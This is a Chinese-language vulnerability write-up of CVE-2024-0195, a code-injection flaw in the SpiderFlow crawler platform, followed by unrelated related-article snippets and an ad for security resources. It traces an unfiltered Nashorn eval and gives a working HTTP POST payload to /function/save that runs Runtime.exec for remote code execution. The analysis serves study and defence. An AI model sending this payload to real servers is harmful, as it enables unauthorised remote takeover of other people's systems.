SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195)

1. 漏洞介绍

SpiderFlow爬虫平台项目中spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java文件的FunctionService.saveFunction函数调用了saveFunction函数,该调用了自定义函数validScript,该函数中用户能够控制 functionNameparametersscript 中的内容,从而构造恶意输入来执行任意的 JavaScript 代码,从而导致代码注入,并允许远程发起攻击,可导致服务器失陷。

2. 流程图分析

image-20240113214637085

3. 搭建过程

1. IDEA Gitee 快速搭建

image-20240113214746379

URL : https://gitee.com/jmxd/spider-flow.git

image-20240113214828184

2. 数据库搭建

​ 我这里使用的是MySQL5.7,然后使用Navicat运行项目中spider-flow\db\spiderflow.sql这个SQL文件会在数据库中自动生成所需要的数据库:

image-20240113215141449
image-20240113215223454
image-20240113215235300
image-20240113215310529

3. 数据库连接

image-20240113215340735
​ 然后修改数据库配置文件application.properties,路径为:spider-flow\spider-flow-web\src\main\resources\application.properties

image-20240113215518996

4. 运行

spider-flow\spider-flow-web\src\main\java\org\spiderflow\SpiderApplication.java
image-20240113215638797
​ 然后访问路径http://localhost:8088/,成功搭建!
image-20240113215752537

4. 利用过程

​ 首先我们直接在IDEA中寻找危险函数eval,使用Ctrl+shift+F文件搜索:
image-20240113220036696
​ 发现这里有个validScript函数调用了eval危险函数:

    public static void validScript(String functionName,String parameters,String script) throws Exception {new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));}

​ 然后这里的我们去看看eval具体执行的参数是怎么生成的:

image-20240113220311948

    private static String concatScript(String functionName,String parameters,String script){StringBuffer scriptBuffer = new StringBuffer();scriptBuffer.append("function ").append(functionName).append("(").append(parameters == null ? "" : parameters).append("){").append(script).append("}");return scriptBuffer.toString();}

​ 可以看到concatScript 方法中,它接受三个参数 functionNameparametersscript,然后将它们拼接成一个 JavaScript 函数的字符串。这里它没有任何的过滤。所以我们可以尝试构造恶意的这三个参数实现RCE。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

​ 在上面的函数中将产生如下的字符串:

function functionName(parameters){script}

​ 很明显我们可以构造恶意的script来导致RCE:

​ 例如script的值可以为}Java.type('java.lang.Runtime').getRuntime().exec('calc');{

​ 这样的话我们最终的字符串将会变成:

function functionName(parameters){}Java.type('java.lang.Runtime').getRuntime().exec('calc');{}

​ 然后最后在执行的时候就会直接定义一个函数后执行我们的Java恶意代码。

​ 然后我们分析是哪个函数调用了validScript函数

image-20240113221705800

    public String saveFunction(Function entity) {try {ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());super.saveOrUpdate(entity);init();return null;} catch (Exception e) {logger.error("保存自定义函数出错",e);return ExceptionUtils.getStackTrace(e);}}

​ 然后在FunctionController.java调用了saveFunction

@RestController
@RequestMapping("/function")
public class FunctionController {......@RequestMapping("/save")public String save(Function function){return functionService.saveFunction(function);}......
}

​ 然后我们现在就可以去实际的功能点看需要哪些参数:

image-20240113223447553

image-20240113223535043

​ 于是我们直接写出payload:

POST /function/save HTTP/1.1
Content-Length: 38
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost:8088id=&name=rce&parameter=rce&script=}Java.type('java.lang.Runtime').getRuntime().exec('calc');{

​ 成功命令执行弹出计算器:
cve-2024-1

修复方式

  • 过滤好script参数
  • 设置沙箱

5. 总结

​ 这个项目在Gitee上面有7.4K的Star,有3.6K的fork记录,在实际部署上也不是很少,但是漏洞点出的不是很难主要是思路扩展,适宜入门。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/632762.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring | Spring中的Bean--下

Spring中的Bean: 4.Bean的生命周期5.Bean的配装配式 ( 添加Bean到IOC容器的方式 依赖注入的方式 )5.1 基于XML的配置5.2 基于Annotation (注解) 的装配 (更常用)5.3 自动装配 4.Bean的生命周期 Spring容器可以管理 singleton作用域的Bean的生命周期,在此…

go语言(七)----slice的声明方式

1、声明方式一 //声明一个slice1是一个切片,但是并没有给slice分配空间var slice1 []intslice1 make([]int,3)2、声明方式二 声明一个slice切片,同时给slice分配空间,3个空间,初始化值是0var slice1 []int make([]int,3)3、声…

ICCV2023 | PTUnifier+:通过Soft Prompts(软提示)统一医学视觉语言预训练

论文标题:Towards Unifying Medical Vision-and-Language Pre-training via Soft Prompts 代码:https://github.com/zhjohnchan/ptunifier Fusion-encoder type和Dual-encoder type。前者在多模态任务中具有优势,因为模态之间有充分的相互…

从临床和科研场景分析ChatGPT在医疗健康领域的应用可行性

2023年4月发表在Journal Medical Systems的文献《Evaluating the Feasibility of ChatGPT in Healthcare: An Analysis of Multiple Clinical and Research Scenarios》(评估 ChatGPT 在医疗健康领域的可行性:对多种临床和研究场景的分析)介绍…

IPv6自动隧道---6to4中继

6to4中继 普通IPv6网络需要与6to4网络通过IPv4网络互通,这可以通过6to4中继路由器方式实现。所谓6to4中继,就是通过6to4隧道转发的IPv6报文的目的地址不是6to4地址,但转发的下一跳是6to4地址,该下一跳为路由器我们称之为6to4中继。隧道的IPv4目的地址依然从下一跳的6to4地…

PPT 编辑模式滚动页面不居中

PPT 编辑模式滚动页面不居中 目标:编辑模式下适应窗口大小、切换页面居中显示 调整视图大小,编辑模式通过Ctrl 鼠标滚轮 或 在视图菜单中点击适应窗口大小。 2. 翻页异常,调整视图大小后,PPT翻页但内容不居中或滚动&#xff0c…

『MySQL快速上手』-⑩-索引特性

文章目录 1.索引的作用2.索引的理解建立测试表插入多条记录查看结果 2.1 MySQL与磁盘交互的基本单位2.1 为何IO交互要是 Page2.3 理解单个Page2.4 理解多个Page2.5 页目录2.6 单页情况2.7 多页情况2.8 B vs B2.9 聚簇索引 vs 非聚簇索引非聚簇索引聚簇索引 3.索引操作3.1 创建主…

pytest + allure(windows)安装

背景 软硬件环境: windows11,已安装anaconda,python,pycharm用途:使用pytest allure 生成报告allure 依赖java,点击查看java安装教程 allure 下载与安装 从 allure下载网址下载最新版本.zip文件 放在自…

基于YOLOv8深度学习的葡萄簇目标检测系统【python源码+Pyqt5界面+数据集+训练代码】目标检测、深度学习实战

《博主简介》 小伙伴们好,我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源,可关注公-仲-hao:【阿旭算法与机器学习】,共同学习交流~ 👍感谢小伙伴们点赞、关注! 《------往期经典推…

【llm 微调code-llama 训练自己的数据集 一个小案例】

这也是一个通用的方案,使用peft微调LLM。 准备自己的数据集 根据情况改就行了,jsonl格式,三个字段:context, answer, question import pandas as pd import random import jsondata pd.read_csv(dataset.csv) train_data data…

pyspark 笔记:窗口函数window

窗口函数相关的概念和基本规范可以见:pyspark笔记:over-CSDN博客 1 创建Pyspark dataFrame from pyspark.sql.window import Window import pyspark.sql.functions as F employee_salary [("Ali", "Sales", 8000),("Bob&qu…

USACO介绍 报名流程 成绩查询方式详解(文末有备赛资料)

USACO美国计算机奥林匹克活动 2023-2024新赛季的时间线安排是怎么样的? 2023-2024USACO竞赛时间 一般来说,USACO竞赛时间在12月-3月期间,每月都有一场比赛每次3-5小时,并在规定时间内完成3-4道题。23-24年USACO竞赛时间安排如下&a…

uniapp h5 生成 ubuntu桌面程序 并运行方法

uniapp h5 生成 ubuntu桌面程序 并运行方法,在window环境下开发,发布到ubuntu桌面,并运行 1、安装Nodejs 安装包官方下载地址:https://www.nodejs.com.cn/ 安装完后cmd,如图,即安装成功 2、通过Nodejs安装 electron…

[flutter]GIF速度极快问题的两种解决方法

原因: 当GIF图没有设置播放间隔时间时,电脑上会默认间隔0.1s,而flutter默认0s。 解决方法一: 将图片改为webp格式。 解决方法二: 为图片设置帧频率,添加播放间隔。例如可以使用GIF依赖组件设置每秒运行…

【音视频】基于NGINX如何播放rtmp视频流

背景 现阶段直播越来越流行,直播技术发展也越来越快。Webrtc、rtmp、rtsp是比较火热的技术,而且应用也比较广泛。本文通过实践来展开介绍关于rtmp如何播放。 概要 本文重点介绍基于NGINX如何播放rtmp视频流 正文 1、构造rtsp视频流 可以参考上一篇…

Cacti 前台SQL注入漏洞复现(CVE-2023-39361)

0x01 产品简介 Cacti 是一套基于 PHP,MySQL,SNMP 及 RRDTool 开发的网络流量监测图形分析工具。 0x02 漏洞概述 该漏洞存在于graph_view.php文件中。默认情况下,访客用户无需身份验证即可访问graph_view.php,在启用情况下使用时会导致SQL注入漏洞。 攻击者可能利用此漏洞…

HCIP-7

IPV6: 为什么使用IPV6: V4地址数量不够V4使用NAT,破坏了端到端原则 IPV6的优点: 全球单播地址聚合性强(IANA组织进行合理的分配)多宿主----一个接口可以配置N个地址--且这些地址为同一级别自动配置---1)…

IPhone、IPad、安卓手机、平板以及鸿蒙系统使用惠普无线打印教程

演示机型:惠普M281fdw,测试可行机型:惠普M277,惠普M452、惠普M283 点击右上角图标。 点击WI-FI Direct 开,(如果WI-FI Direct关闭,请打开!) 记录打印机的wifi名称(SSID)和密码。 打开IPhone、I…

django后台进行加密手机号字段,加密存储,解密显示

需求: 1 :员工在填写用户的手机号时,直接填写,在django后台中输入 2:当员工在后台确认要存储到数据库时,后台将会把手机号进行加密存储,当数据库被黑之后,手机号字段为加密字符 3:员…

AD导出BOM表 导出PDF

1.Simple BOM: 这种模式下,最好在pcb界面,这样的导出的文件名字是工程名字,要是在原理图界面导出,会以原理图的名字命名表格。 直接在菜单栏 报告->Simple BOM 即可导出物料清单,默认导出 comment pattern qu…